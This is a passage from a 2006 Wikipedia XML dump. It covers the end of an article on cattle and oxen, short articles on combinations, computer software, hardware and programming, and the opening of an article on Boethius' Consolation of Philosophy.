A popular misconception about cattle (primarily bulls) is that they are enraged by the colour red. This is incorrect, as cattle are mostly [[colour-blind]]. This rumour derives from bullfighting, where [[Matador]]s traditionally use red-coloured capes to provoke bulls into attacking. The red color is merely traditional, as the movement of the cape is the attractant.

==Uses of cattle==
[[Image:Cow_with_calf.jpg|left|200px|thumb|Cow with calf]]
Cattle occupy a unique role in human history. Some consider them the oldest form of wealth. Their ability to provide [[meat]], dairy and draft while reproducing themselves and eating nothing but grass has furthered human interests dramatically through the millennia. 

In [[Hinduism]], the cow is said to be [[holy]] (and thus should not be [[eating|eaten]]); &quot;The cow is my mother. The bull is my sire.&quot;. [http://www.sacred-texts.com/hin/m13/m13b041.htm] The importance of the cow is highlighted by the fact that a regional holiday called Mattu Pongal (literally Cow [[Pongal]] in [[Tamil language|Tamil]]) exists which is akin to a bovine [[thanksgiving day]]. In fact a divine cow named [[Kamadhenu]] is considered to be the mother of all [[Hindu]] Gods. It is common to see loose cattle walking the streets, because the holiness it holds in India and other countries that practice Hinduism.

In [[Latin America]], [[Australia]] and the western [[North America]] cattle are grazed on large tracts of rangeland called [[ranching|ranchos, ranches]] or Stations (''Australia'').

In [[Portugal]], [[Spain]] and some [[Latin America]]n countries, bulls are used in the [[sport]] of [[bullfighting]] while a similar sport [[Jallikattu]] is seen in [[South India]]; in many other countries this is illegal. Other sports like [[Bull riding]] are seen as part of a [[Rodeo]], especially in [[North America]].

The outbreaks of [[mad cow disease]] have reduced or prevented some traditional uses of cattle for food, for example the eating of brains or spinal cords.

==Ox==
[[Image:India.Mumbai.04.jpg|right|thumb|250px|Draft [[Zebus]] in [[Mumbai]], [[India]].]]
'''Oxen''' (plural of '''ox''') are [[cattle]] trained as draft animals. Often they are adult, [[castration|castrated]] males. Usually an ox is over four years old due to the need for training and for time to grow to full size. Oxen are used for [[plowing]], [[transport]], hauling cargo, grain-grinding by trampling or by powering machines, [[irrigation]] by powering pumps, and [[wagon]] drawing. Oxen were commonly used to skid logs, and sometimes are still in low-impact select-cut logging, in forests.

Contrary to popular American lore, an &quot;ox&quot; is not a unique breed of bovine, nor have any &quot;blue&quot; oxen lived outside the [[folk tale]]s surrounding [[Paul Bunyan]], the mythical American logger.

An ox is nothing more than a mature bovine with an &quot;education&quot;. The education consists of the animal's learning to respond appropriately to the [[teamster]]'s (ox driver's) commands: in North America such as (1) get up, (2) whoa, (3) back up, (4) gee (turn to the right) and (5) haw (turn to the left).

American ox trainers favored larger breeds for their ability to do more work in addition to their intelligence (the ability to learn); for the same reason, the typical ox is the male of a breed, rather than the smaller female.  Also, the gait of the ox is often important to ox trainers, since the speed the animal walks should roughly match the gait of the ox driver who must work with it.

Oxen are most often used in teams of two, paired, for light work such as [[cart]]ing. In past days some teams were about fourteen, and even over twenty for logging.  A wooden [[yoke]] is fastened about the neck of each pair so that the force of draft is distributed across their shoulders.  Oxen are chosen, from calves, with horns since the horns hold the yoke in place when the oxen lower their heads, back up or slow down (particularly with a wheeled vehicle going downhill). Yoked oxen cannot slow a load like harnessed horses can, the load has to be controlled downhill by other means. 

Oxen must be painstakingly trained from a young age.  Their teamster must make or buy as many as a dozen yokes of different sizes as the animals grow. Ox teams are steered by commands or noise (whip cracks) and many [[teamsters]] were known for their voices and language. 

Oxen can pull harder and longer than [[horse]]s, particularly on obstinate or almost un-movable loads. This is one of the reasons that teams were dragging logs from forests long after horses had taken over most other draught uses in Europe and the New World. Though not as fast as horses, they are less prone to injury because they are more sure-footed and do not try to jerk the load. Many oxen are still in use worldwide, especially in developing nations.

==Miscellaneous==
[[Image:Bull Oostvaardersplassen.JPG|thumb|right|250px|Bull]]
*For the mythology and lore connected with the bull, see [[Bull (mythology)]].
*The ox is one of the 12-year cycle of animals which appear in the [[Chinese zodiac]] related to the [[Chinese calendar]]. See: [[Ox (Zodiac)]].
*The constellation [[Taurus (constellation)|Taurus]] represents a bull.
*An apocryphal story has it that a cow started the [[Great Chicago Fire]] by kicking over a [[kerosene]] lamp. Michael Ahern, the reporter who created the cow story, admitted in 1893 that he had made it up because he thought it would make colorful copy. 
*In the popular kids show [[The Fairly Odd Parents]] A cow tips over a kerosene lamp and the town mascott, a goat named &quot;Chompy&quot;, saves the day by pushing the cow on to the fire, hence putting it out.
*Cows are venerated within the [[Hindu]] religion of [[India]]: According to [[Vedic]] scripture they are to be treated with the same respect 'as one's mother' because of the milk they provide. They appear in numerous stories from the [[Purana]]'s and [[Veda]]'s, for example the deity Sri [[Krishna]] takes birth in a family of cowherders and Lord [[Shiva]] is said to ride on the back of a [[Bull]]. Bulls in particular are seen as a symbolic emblem of [[duty]] and [[religion]].
*On [[February 18]], [[1930]] [[Elm Farm Ollie]] became the first cow to fly in an [[airplane]] and also the first cow to be milked in an airplane.
*A [[humour|humourous]] anecdote among farmers suggests that instant death will come to anyone bitten by a cattle's upper front teeth. The joke is apparent to anyone knowing that a cow possesses no such teeth.
*The first known law requiring branding in North America was enacted on [[February 5]], [[1644]] by Connecticut.  It said that all cattle and pigs have to have a registered brand or earmark by [[May 1]], [[1644]]. (Kane, 5)

==Cattle in popular culture==
[[Image:Lightmatter wild cow.jpg|thumb|right|250px|A cow in the [[San Diego Zoo]].]]
[[Image:Brahman Baby.jpg|thumb|250px|right|Brahman. Heredia Province, Costa Rica.]]
[[Image:Cows in green field - nullamunjie olive grove03.jpg|thumb|250px|right|Herd of Herefords in a green field]]
*[[Gary Larson]]'s famous comic strip [[The Far Side]] frequently included cows in humorous situations.
*The lilac-colored &quot;Milka Cow&quot; is a well-known symbol of the [[Milka]] brand of chocolate.
*Since 1995, advertisements for [[Chick-fil-A]] restaurants have featured cows encouraging people to &quot;Eat Mor Chikin.&quot;
*The sound a cow makes is often used to create comedic effect. In ''[[Monty Python and the Holy Grail]]'', the [[France|French]] shoot cows out of catapults. In the movie ''[[Twister (film)|Twister]]'', cows are flung about, mooing, by tornadoes.
*In the game [[Fallout (computer game)|Fallout]] and Fallout 2, cows mutate into Brahman.  These cows will sometimes say &quot;Moo, I say!&quot;
*In a [[Grape nuts|Grape-Nuts]] television commercial and in the movie ''[[Kingpin (film)|Kingpin]]'' with [[Woody Harrelson]], in which he pretends to be [[Amish]], there are scenes of men &quot;milking&quot; a bull, thinking it is a cow.
*In the Computer Game [[Diablo II]] there is an area called the &quot;Secret Cow Level&quot; in which players can gain experience more quickly than usual by fighting an army of bipedal cows.
*In the Computer Game [[Starcraft]] and Starcraft:Broodwar the cheat code &quot;there is no cow level&quot; will immediately take the player to the next level.
*In ''[[Kung Pow: Enter the Fist]]'', a famous scene parodying ''[[The Matrix]]'' [[bullet time]] scene involves a [[Matrix Cow|3D animated cow]] being fought by the hero.
*A [[Texas longhorn (cattle)|Texas Longhorn]] with burnt orange coloring named [[Bevo (mascot)|Bevo]] is the mascot of the [[Texas Longhorn Athletics|sports teams]] at the [[University of Texas at Austin]].
*The popular nursery rhyme 'Hey, diddle-diddle' features a cow jumping over the moon.
*In the movie [[Bubble Boy]] an Indian ice cream man is threatened by the Indian god Shiva because he accidentally ran over a cow. Later the cow is mangled and run over several times by a semi truck and some bikers while the man begs for Shiva's forgivness.
*The ''[[Drawn Together]]'' episode &quot;[[A Tale of Two Cows (Drawn Together episode)|A Tale of Two Cows]]&quot; features a character called Live Action Cow. The cow is a photograph that the animators manipulate in such a way as to suggest that the cow is performing all kinds of unusual feats when obviously, it is just a photograph being moved around.

==See also==
* [[Age of cattle]]
* [[Barbed wire]]
* [[Bullfighting]]
* [[Bull-baiting]]
* [[Cow tipping]]
* [[Dairy Cattle]]
* [[Factory farming]]
* [[Grass fed beef]]
* [[List of breeds of cattle]]
* [[List of domesticated animals]]
* [[Yak]]
* [[Ox (Zodiac)]]

==References==
*[http://www.cattle-today.com/ Cattle Today]
*[http://www.sacred-texts.com/hin/m13/m13b041.htm Mahabharata, Book 13-Anusasana Parva, Section LXXVI]
* Kane, J., Anzovin, S., &amp; Podell, J. (1997). Famous First Facts. New York, NY: H.W. Wilson. ISBN 0824209303.

==External links==
{{Commons|Bos taurus}}
{{Wikibooks|Raising Cattle}}
*[http://www.ansi.okstate.edu/breeds/cattle/ Cattle Breeds website] - Oklahoma State University
*[http://www.pbs.org/wnet/nature/holycow/index.html PBS Nature: Holy Cow (about cows in general)]
*[http://www.lincolnredcattlesociety.co.uk UK Lincoln Red Cattle Society]
*[http://www.searchcattle.com SearchCattle.com - Specialized Cattle Search Engine]
*[http://www.prairieoxdrovers.com  Prairie Ox Drovers -Information, help, and encouragement to get started with oxen.]

==Other meanings of cow, bull, etc.==
* [[Bull (mythology)]]
* [[Groupe Bull]]
* [[Cows (movie)|Cows]] (a movie by [[Julio Medem]])
* [[Irish bull]] (an incongruent statement)
* [[Papal bull]]
* [[sura]]t [[al-Baqara]] (The Cow) in the [[Qur'an]]

[[Category:Cattle]]
[[Category:Domesticated animals]]

[[als:Kuh]]
[[bo:གླང་གོག]]
[[cs:Kráva]]
[[cy:Buwch]]
[[da:Tamkvæg (Bos taurus)]]
[[de:Hausrind]]
[[eo:Bovo]]
[[es:Vaca]]
[[fr:Vache]]
[[gl:Vaca]]
[[he:&amp;#1489;&amp;#1511;&amp;#1512;]]
[[hu:Szarvasmarha]]
[[id:Sapi]]
[[ja:&amp;#12454;&amp;#12471;]]
[[ko:&amp;#49548; (&amp;#46041;&amp;#47932;)]]
[[kw:Bugh]]
[[ms:Lembu]]
[[nds:Rindveeh]]
[[nl:Rundvee]]
[[no:Storfe]]
[[pl:byd&amp;#322;o]]
[[pt:Gado]]
[[ru:&amp;#1050;&amp;#1086;&amp;#1088;&amp;#1086;&amp;#1074;&amp;#1072;]]
[[simple:Cattle]]
[[sr:Крава]]
[[sv:Nötboskap]]
[[tr:sığır]]
[[zh:&amp;#23478;&amp;#29275;]]
[[bs:Krava]]</text>
    </revision>
  </page>
  <page>
    <title>Combination</title>
    <id>5308</id>
    <revision>
      <id>39520541</id>
      <timestamp>2006-02-14T01:38:31Z</timestamp>
      <contributor>
        <username>Doug Bell</username>
        <id>752893</id>
      </contributor>
      <comment>fix stub</comment>
      <text xml:space="preserve">{{dablink|For other senses of this term, see [[combination (disambiguation)]].}}

In [[combinatorics|combinatorial mathematics]], a '''combination''' is an un-ordered collection of unique elements. Given ''S'', the [[set]] of all possible unique elements, a '''combination''' is a [[subset]] of the elements of ''S''. The order of the elements in a combination is not important (two lists with the same elements in different orders are considered to be the same combination). Also, the elements cannot be repeated in a combination (every element appears uniquely once). A ''k''-combination (or [[n-set|''k''-subset]]) is a subset with ''k'' elements.  The number of ''k''-combinations (each of size ''k'') from a set ''S'' with ''n'' elements (size ''n'') is the [[binomial coefficient]].

== See also ==
*[[Combinadic]]
*[[Combinations and permutations]]
*[[Multiset]]

[[Category:Combinatorics]]

[[de:Kombinatorik#Kombination ohne Zurücklegen]]
[[fr:Combinaison]]
[[ko:조합]]
[[it:Combinazione]]
[[nl:Combinatie (wiskunde)]]
[[ja:組合せ (数学)]]
[[pl:Kombinacja]]
[[pt:Combinação]]
[[ru:Сочетание]]
[[sr:Комбинација]]
[[sv:Kombination]]
[[zh:組合]]

{{combin-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Computer software</title>
    <id>5309</id>
    <revision>
      <id>41866994</id>
      <timestamp>2006-03-02T06:10:17Z</timestamp>
      <contributor>
        <username>Gwernol</username>
        <id>266416</id>
      </contributor>
      <comment>Revert to revision 41141624 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{dablink|&quot;Software&quot; redirects here.  For other senses of this word, see [[software (disambiguation)]].}}

[[Image:ScreenHunter_001.JPG|thumb|200px|A screenshot of computer software in action.]]
'''Computer software''' (or simply '''software''') is that part of a computer system that consists of encoded information (or computer instructions), as opposed to the physical computer equipment ([[Computer hardware|hardware]]) which is used to store and process this information. The term is roughly synonymous with [[computer program]] but is more generic in scope.

The term &quot;software&quot; was first used in this sense by [[John W. Tukey]] in [[1957]]. In [[computer science]] and [[software engineering]], '''computer software''' is all [[information]] processed by [[computer system]]s, [[Computer program|program]]s and [[data]]. The concept of software was first proposed by [[Alan Turing]] in an essay.  

==Relationship to hardware==
[[Computer]] software is so called in contrast to [[computer hardware]], which is the physical substrate required to store and execute (or run) the software.  In computers, software is loaded into [[RAM]] and executed in the [[central processing unit]].  At the lowest level, software consists of a [[machine language ]] specific to an individual processor.  A machine language consists of groups of binary values signifying processor instructions and data, which change the state of the computer from its preceding state.  Software is an ordered sequence of instructions for changing the state of the computer hardware in a particular sequence. It is generally written in 'high-level languages' that are easier and more efficient for humans to use (closer to [[natural language]]) than machine language.  High-level languages are [[compiler | compiled]] or [[Interpreter (computing)|interpreted]] into machine language.

==Relationship to data==
[[Software]] has historically been considered an intermediary between electronic hardware and ''data,'' which latter the ''hardware'' processes according to the sequence of instructions defined by the software. As computational science becomes increasingly complex, the distinction between software and data becomes less precise. Data has generally been considered as either the output or input of executed software. However, data is not the only possible output or input.  For example, (system) configuration information may also be considered input, although not ''necessarily'' considered data (and certainly not applications data). The output of a particular piece of executed software may be the input for another executed piece of software. Therefore, software may be considered an interface between hardware, data, and/or (other) software.

==System, programming and application software==
Practical computer systems divide software into three major classes: [[system software]], [[application software]] and [[programming software]], although the distinction is somewhat arbitrary, and often blurred.

:'''[[System software]]''' helps run the [[computer hardware]] and [[computer system]]. It includes [[operating system]]s, [[device driver]]s, [[diagnostic tool]]s, [[server]]s, [[windowing system]]s, [[software utility|utilities]] and more.

:'''[[Programming software]]''' usually provides some useful tools to help a [[programmer]] to write [[computer program]]s and software using different [[programming language]]s in a more convenient way. The tools include [[text editors]], [[compilers]], [[interpreter (computing)|interpreters]], [[linkers]], [[debuggers]], and so on. An [[Integrated development environment]] (IDE) merges those tools into a software [[bundle]], and a programmer may not need to type multiple [[command]]s for compiling, interpreter, debugging, tracing, and etc., because the IDE usually has an advanced ''graphical user interface,'' or GUI.

:'''[[Application software]]''' allows humans to accomplish one or more specific [[task]]s. Typical applications include [[industrial]] [[automation]], [[office suite]]s, [[business software]], [[educational software]], [[database]]s and [[computer games]]. Businesses are probably the biggest users of application software and they use it to automate all sorts of functions.  Plenty of examples can be found at the [http://www.capterra.com Business Software Directory].

==Software program and library==
[[Software program]] is usually the directly [[Execution (computers)|executable]] part of a software.
[[software library|Software libraries]] can include software components used by stand-alone programs, but which cannot be executed on their own.  Thus, programs can include standard routines that are common to many programs, extracted from the libraries, but libraries can also include stand-alone programs.  Depending on [[operating system]], a program can be called by another program, by a human being, and can call another program.

==Three layers of software==
[[Image:Packagedsoftwareatretail.jpg|thumb|right|250px|Starting in the 1980s, application software has been sold in mass-produced packages through retailers]]
Users often see things differently than programmers. People who use modern general purpose computers (as opposed to [[embedded system]]s, [[analog computer]]s, [[supercomputer]]s, etc.) usually see three layers of software performing a variety of tasks: platform, application, and user software.

; Platform software : Platform includes the [[BIOS|basic input-output system]] (often described as ''[[firmware]]'' rather than ''software''), [[device driver]]s, an [[operating system]], and typically a graphical user interface which, in total, allow a user to interact with the computer and its [[peripheral]]s (associated equipment). Platform software often comes bundled with the computer, and users may not realize that it exists or that they have a choice to use different platform software.

; Application software : [[Application software]] or Applications are what most people think of when they think of software. Typical examples include office suites and video games. Application software is often purchased separately from computer hardware.  Sometimes applications are bundled with the computer, but that does not change the fact that they run as independent applications. Applications are almost always independent programs from the operating system, though they are often tailored for specific platforms. Most users think of compilers, databases, and other &quot;system software&quot; as applications.

; User-written software : [[User software]] tailors systems to meet the users specific needs. User software include spreadsheet templates, word processor macros, scientific simulations, graphics and animation scripts. Even email filters are a kind of user software. Users create this software themselves and often overlook how important it is.  Depending on how competently the user-written software has been integrated into purchased application packages, many users may not be aware of the distinction between the purchased packages, and what has been added by fellow co-workers.

See also: [[Software architecture]].

==Software creation==
Look back to [[#System, application and programming software | Computer software ]]

==Software operation==
Computer software has to be &quot;loaded&quot; into the [[computer storage|computer's storage]] (also known as ''memory'' and ''[[RAM]]'').

Once the software is loaded, the computer is able to operate the software.  Computers operate by ''executing'' the [[computer program]].  This involves passing [[instruction (computer science)|instruction]]s from the application software, through the system software, to the [[hardware]] which ultimately receives the instruction as [[machine language|machine code]].  Each instruction causes the computer to carry out an operation -- moving [[data]], carrying out a [[computation]], or altering the flow of instructions. 

Kinds of software by operation:  [[computer program]] as [[executable]], [[source code]] or [[script (computer programming)|script]], [[computer configuration|configuration]].

==Software quality and reliability==
[[Software reliability]] considers the errors, faults, and failures related to the creation and operation of software.

See [[Computer security audit|Software auditing]], [[Software quality]], [[Software testing]], and [[Software reliability]].

==Software patents==
The issue of [[software patents]] is very controversial, since while [[patent|patents]] protect the ideas of &quot;[[inventor|inventors]]&quot;, they are widely believed to hinder [[software development]]. See [[Hacker ethic]]

==See also==
* Shared meanings: [[System software]], [[Application software]], [[Computer program]]s,

* [[Computing]]
* [[Computer programming]]
** [[Programming language]]s
** [[Text editor]]s
** [[Compiler]]s
** [[Algorithm]]s
** [[Software development process]]
** [[Software development tools]]
** [[Software maintenance]]
** [[Software optimization]]
** [[Application programming interface|Application Programming Interface (API)]]
** [[Software brittleness]]
* [[Software engineering]]

*[[Software license]]s
**[[Free software]]
**[[Open source software]]
**[[Software piracy]]
**[[Freeware]]
**[[Shareware]]
**[[Postcardware]]
**[[Shovelware]]
*[[Software as a Service]]
*[[List of computer term etymologies|Origins of computer terms]]
*[[Uninstaller]]
*[[Virtual instrumentation]]

*[[List of open source software packages]]
&lt;!-- == External links == --&gt;

[[Category:Software| ]]

[[af:Sagteware]]
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[[ca:Programari]]
[[cs:Software]]
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[[es:Programa informático]]
[[eo:Programaro]]
[[fa:نرم‌افزار]]
[[fr:Logiciel]]
[[gl:Programa informático]]
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[[ja:ソフトウェア]]
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[[pl:Oprogramowanie]]
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[[sq:Software]]
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[[sv:Programvara]]
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[[tt:Sanaq programı]]
[[th:ซอฟต์แวร์]]
[[vi:Phần mềm]]
[[uk:Програмне забезпечення]]
[[zh:软件]]</text>
    </revision>
  </page>
  <page>
    <title>Computer hardware</title>
    <id>5310</id>
    <revision>
      <id>41735495</id>
      <timestamp>2006-03-01T10:56:49Z</timestamp>
      <contributor>
        <username>El C</username>
        <id>92203</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/202.63.168.34|202.63.168.34]] ([[User talk:202.63.168.34|talk]]) to last version by Marcelo-Silva</comment>
      <text xml:space="preserve">'''Computer hardware''' is the physical part of a [[computers|computer]], as distinguished from the [[computer software]] or computer programs and data that operate within the hardware. The hardware of a computer is infrequently changed, in comparison with software and data which are &quot;soft&quot; in the sense that they are readily created, modified or erased on the computer. [[Firmware]] is special software that rarely, if ever, needs to be changed and so is stored on hardware devices such as [[read-only memory]] (ROM) where it is not readily changed (and therefore is &quot;firm&quot; rather than just &quot;soft&quot;).

Most computer hardware is not seen by normal users as it is enclosed as [[embedded systems]] in automobiles, microwave ovens, [[electrocardiograph]] machines, [[compact disc]] players, and many other household appliances. [[Personal computer]]s, the computer hardware familiar to the most people, form only a small minority of computers (about 0.2% of all new computers produced in 2003) [[Microprocessor#Market_statistics|Market statistics]].

== Personal computer hardware ==

A typical [[personal computer]] consists of a [[Computer_case|case]] or chassis in desktop or tower shape and the following parts:
* [[Motherboard]] or system board with slots for expansion cards and holding parts including: 
** [[Central processing unit]] (CPU)
** [[Random Access Memory]] (RAM) - for program execution and short term data storage, so the computer doesn't have to take the time to access the hard drive to find something. More RAM can contribute to a faster PC.
** [[Computer_bus|Buses]] :
*** [[Peripheral Component Interconnect|PCI]] bus
*** [[PCI Express|PCI-E]] or [[Accelerated Graphics Port|AGP]] bus
*** [[Industry_Standard_Architecture|ISA]] bus (outdated)
*** [[Universal Serial Bus|USB]]
* [[Power supply]] - a case that holds a transformer, voltage control and fan
* Storage controllers of [[Integrated Drive Electronics|IDE]], [[SATA]], [[SCSI]] or other type, that control [[hard disk]], [[floppy disk]], [[CD-ROM]] and other drives; the controllers sit directly on the motherboard (on-board) or on expansion cards 
* [[Graphics card|Video display controller]] that produces the output for the [[computer display]]
* [[Computer bus]] controllers ([[parallel port|parallel]], [[serial port|serial]], [[USB]], [[FireWire]]) to connect the computer to external [[peripheral]] devices such as [[computer printer|printer]]s or [[image scanner|scanners]]
* Some type of a removable [[Computer storage|media]] writer:
** [[CD]] - the most common type of removable media, cheap but fragile.
*** [[CD-ROM|CD-ROM Drive]]
*** [[CD writer|CD Writer]]
** [[DVD]]
*** [[DVD-ROM|DVD-ROM Drive]]
*** [[DVD|DVD Writer]] 
*** [[DVD-RAM|DVD-RAM Drive]]
** [[Floppy disk]]
** [[Zip drive]]
** [[USB Flash Drive]]
** [[Tape drive]] - mainly for backup and long-term storage
* Internal storage - keeps data inside the computer for later use.
** [[Hard disk]] - for medium-term storage of data.
** [[Disk array controller]]
* [[Sound card]] - translates signals from the system board into analog voltage levels, and has terminals to plug in speakers.
* [[Computer networks|Networking]] - to connect the computer to the [[Internet]] and/or other computers
** [[Modem]] - for dial-up connections
** [[Network card]] - for DSL/Cable internet, and/or connecting to other computers.
* Other [[peripheral]]s

In addition, hardware can include external components of a computer system. The following are either standard or very common.
* [[Input]] or [[Input device]]s
** [[Text]] input devices
*** [[Computer keyboard|Keyboard]]
** [[Pointing device]]s
*** [[Computer mouse|Mouse]]
*** [[Trackball]]
** [[Gaming]] devices
*** [[Joystick]]
*** [[Gamepad]]
** [[Image]], [[Video]] input devices
*** [[Image scanner]]
*** [[Webcam]]
** [[Sound reproduction|Audio]] input devices
*** [[Microphone]]
* [[Output]] or [[Output device]]s
** [[Image]], [[Video]] output devices
*** [[Computer printer|Printer]]
*** [[Computer display|Monitor]]
** [[Sound reproduction|Audio]] output devices
*** [[Computer speaker|Speakers]]
*** [[Headset]]

== See also ==
*[[E-waste]]
*[[Computer architecture]]
*[[legacy system]]
*[[Open hardware]]
*[[optical computer]]
*[[DNA computer]]
*[[History of computing hardware]]
*[[List of computer term etymologies|Origins of computer terms]]
*[[Tapeware]]

== Wiki links ==
{{Wikibookspar||How To Build A Computer}}
* [http://www.themodwiki.org TheModWiki.org]
* [http://wiki.debian.net/index.cgi?Hardware DebianWiki: Hardware]

== External links ==
* [http://www.dmoz.org/Computers/Hardware/Technical_Evaluations_and_Product_Reviews/ Hardware review sites]
* [http://www.corelimits.com Your source for computer news and reviews]
* [http://www.google.com/search?q=computer+hardware Google Result For Computer Hardware]
* [http://www.tomshardware.com Another source for computer news and reviews]
* [http://www.furytech.net Yet another source for computer reviews]
* [http://www.techneek.co.uk Informative UK based site for computer hardware]
* [http://www.dmoz.org/Computers/Hardware/ Computer Hardware Directory @ dmoz]
* [http://www.elook.org/computing/hardware.htm Definition of hardware at eLook Computing Reference]
* [http://www.webopedia.com/TERM/H/hardware.html Definition of Computer hardware @ Webopedia]
* [http://www.tech-forums.net Computer Discussion Forums] 
[[Category:Computer hardware|*Comp]]
[[Category:Digital electronics]]

[[af:Rekenaarhardeware]]
[[ar:عتاد الحاسوب]]
[[an:Tarabidau fesico]]
[[ast:Soporte físicu]]
[[bg:Хардуер]]
[[bs:Hardver]]
[[ca:Maquinari]]
[[cs:Hardware]]
[[de:Hardware]]
[[et:Riistvara]]
[[es:Soporte físico]]
[[fa:سخت‌افزار]]
[[fr:Matériel informatique]]
[[gl:Hardware]]
[[ko:컴퓨터 하드웨어]]
[[hr:Hardver]]
[[id:Perangkat keras]]
[[it:Hardware]]
[[he:חומרה]]
[[lt:Techninė įranga]]
[[hu:Hardver]]
[[ms:Perkakasan komputer]]
[[nl:Hardware]]
[[ja:ハードウェア]]
[[no:Maskinvare]]
[[pl:Hardware]]
[[pt:Hardware]]
[[ro:Hardware]]
[[simple:Hardware]]
[[sl:Strojna oprema]]
[[sr:Хардвер]]
[[fi:Tietokonelaitteisto]]
[[th:อุปกรณ์คอมพิวเตอร์]]
[[vi:Phần cứng]]
[[tr:Donanım]]
[[zh:硬件]]</text>
    </revision>
  </page>
  <page>
    <title>Computer programming</title>
    <id>5311</id>
    <revision>
      <id>41839757</id>
      <timestamp>2006-03-02T02:04:55Z</timestamp>
      <contributor>
        <username>Ambush Commander</username>
        <id>93732</id>
      </contributor>
      <minor />
      <comment>/* Software development */  bypass disambig</comment>
      <text xml:space="preserve">{{otheruses4|computer programming|programming in a music context|Programming (music)}}

[[Image:Html-source-code.png|thumb|300px|[[HTML]] and [[JavaScript]] in an [[Integrated Development Enviroment|IDE]] that uses [[color coding]] to highlight various [[keyword]]s and help the developer see the function of each piece of code.]]

'''Computer programming''' (often simply '''programming''') is the craft of implementing one or more interrelated abstract [[algorithm]]s using a particular [[programming language]] to produce a concrete [[computer program]]. Programming has elements of [[mathematical beauty]], [[science]], [[mathematics]], and [[engineering]].  

==Programming languages==
{{main|Programming language}}

A [[programmer]] writes [[source code]] in a particular programming language.

Different programming languages support different styles of programming (called ''[[programming paradigm]]s''). Part of the art of programming is selecting one of the programming languages best suited for the task at hand. Different programming languages require different levels of detail to be handled by the programmer when implementing algorithms, often resulting in a compromise between ease of use and performance (a trade-off between &quot;programmer time&quot; and &quot;computer time&quot;).

The only programming language a computer can directly execute is [[machine language]] (sometimes called &quot;machine code&quot;). Originally all programmers worked out every detail of the machine code, but this is hardly ever done anymore. Instead, programmers write source code, and a computer (running a [[compiler]], an [[interpreter]] or occasionally an [[assembler]]) translates it through one or more translation steps to fill in all the details, before the final machine code is executed on the target computer. Even when complete low-level control of the target computer is required, programmers write [[assembly language]], whose instructions are mnemonic one-to-one transcriptions of the corresponding machine language instructions.

In some languages, an interpretable ''[[p-code]]'' binary (or ''[[byte-code]]'') is generated, rather than machine language. Bytecode is used in the popular [[Java programming language]] by [[Sun Microsystems]] as well as [[Microsoft]]'s recent [[.NET Framework|.NET]] family of languages and [[Visual Basic]] previous to the .NET version.

{{wikibookspar||Computer programming}}

==Software development==
{{main|Software engineering}}

''[[Software]]'' is a [[mass noun]] for computer programs and data. The accompanying documentation and [[software license]] are also considered an essential part of the software, even though they don't involve any actual coding. 

Creating software involves:
* [[Requirements Analysis]]
* [[Specification]]
* [[Design and Architecture]]
* [[Coding]]
* [[Compilation]]
* [[Software testing]]
* [[Documentation]]
* [[Integration]]
* [[Maintenance]]

== Demographics ==

In the U.S.:
* Nearly half of all computer programmers held a bachelor’s degree in 2002; about 1 in 5 held a graduate degree. [http://www.bls.gov/oco/ocos110.htm]
* Education requirements range from a 2-year degree to a graduate degree. [http://www.bls.gov/oco/ocos042.htm]
*Men hold 72% of the Bachelor's degrees in computer science, women hold 28%. [http://news.com.com/Opening+doors+for+women+in+computing/2100-1022_3-5557311.html]
*The average age is 38 years old for a software developer. [http://www.gamasutra.com/features/19991222/mcconnell_pfv.htm]

{{section-stub}}&lt;!--- needs more than just U.S. ---&gt;

== External links ==
*[http://www.techbookreport.com/ProgIndex.html TechBookReport] - reviews of books on all aspects of computer programming - including programming language tutorials, best practices, methodologies etc
*[http://www.gamasutra.com/features/19991222/mcconnell_pfv.htm Software programmer demographics]

[[Category:Programming]]

[[ast:Programación]]
[[bs:Programiranje]]
[[de:Programmierung]]
[[es:programación]]
[[fr:Programmation]]
[[fa:&amp;#1576;&amp;#1585;&amp;#1606;&amp;#1575;&amp;#1605;&amp;#1607;&amp;#8204;&amp;#1606;&amp;#1608;&amp;#1740;&amp;#1587;&amp;#1740;]]
[[he:&amp;#1514;&amp;#1499;&amp;#1504;&amp;#1493;&amp;#1514; &amp;#1502;&amp;#1495;&amp;#1513;&amp;#1489;&amp;#1497;&amp;#1501;]]
[[hu:számítógép-programozás]]
[[id:Pemrograman komputer]]
[[ko:&amp;#54532;&amp;#47196;&amp;#44536;&amp;#47000;&amp;#48141;]]
[[nl:Programmeren]]
[[no:Programmere]]
[[ja:&amp;#12503;&amp;#12525;&amp;#12464;&amp;#12521;&amp;#12511;&amp;#12531;&amp;#12464;]]
[[pl:Programowanie]]
[[pt:Programação de computadores]]
[[ru:Программирование]]
[[sl:Ra%C4%8Dunalni%C5%A1ko_programiranje]]
[[sv:Programmering]]
[[vi:Lập trình]]
[[zh:%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1]]</text>
    </revision>
  </page>
  <page>
    <title>Consolation of Philosophy</title>
    <id>5312</id>
    <revision>
      <id>39442392</id>
      <timestamp>2006-02-13T03:56:33Z</timestamp>
      <contributor>
        <username>Postdlf</username>
        <id>29695</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] re-categorisation per [[WP:CFD|CFD]]</comment>
      <text xml:space="preserve">[[Image:Boethius.consolation.philosophy.jpg|thumb|right|This early printed book has many hand-painted illustrations depicting Lady Philosophy and scenes of daily life in fifteenth-century [[Ghent]] (1485)]]

'''''Consolation of Philosophy''''' ([[Latin]]: '''''Consolatio Philosophiae''''') is a philosophical work by [[Anicius Manlius Severinus Boethius|Boethius]] written in about the year [[524]] AD. It has been described as the single most important and influential work in the West in medieval and early Renaissance Christianity, and is also the last great work that can be called Classical.{{fn|1}} {{fn|7}}

==Consolation of Philosophy==

::&lt;sup&gt;“A golden volume not unworthy of the leisure of Plato or Tully.” [[Edward Gibbon]]&lt;/sup&gt; {{fn|2}}

''Consolation of Philosophy'' was written during Boethius' one year imprisonment by [[Ostrogoth]]ic King [[Theodoric the Great]] while awaiting trial, and eventual horrific execution, for the crime of [[treason]]. Boethius was at the very heights of power in Rome and was brought down by treachery. It was from this experience he was inspired to write a philosophical book from prison reflecting on how a lord's favor could change so quickly and why friends would turn against him. It is “by far the most interesting example of prison literature the world has ever seen.” {{fn|3}}

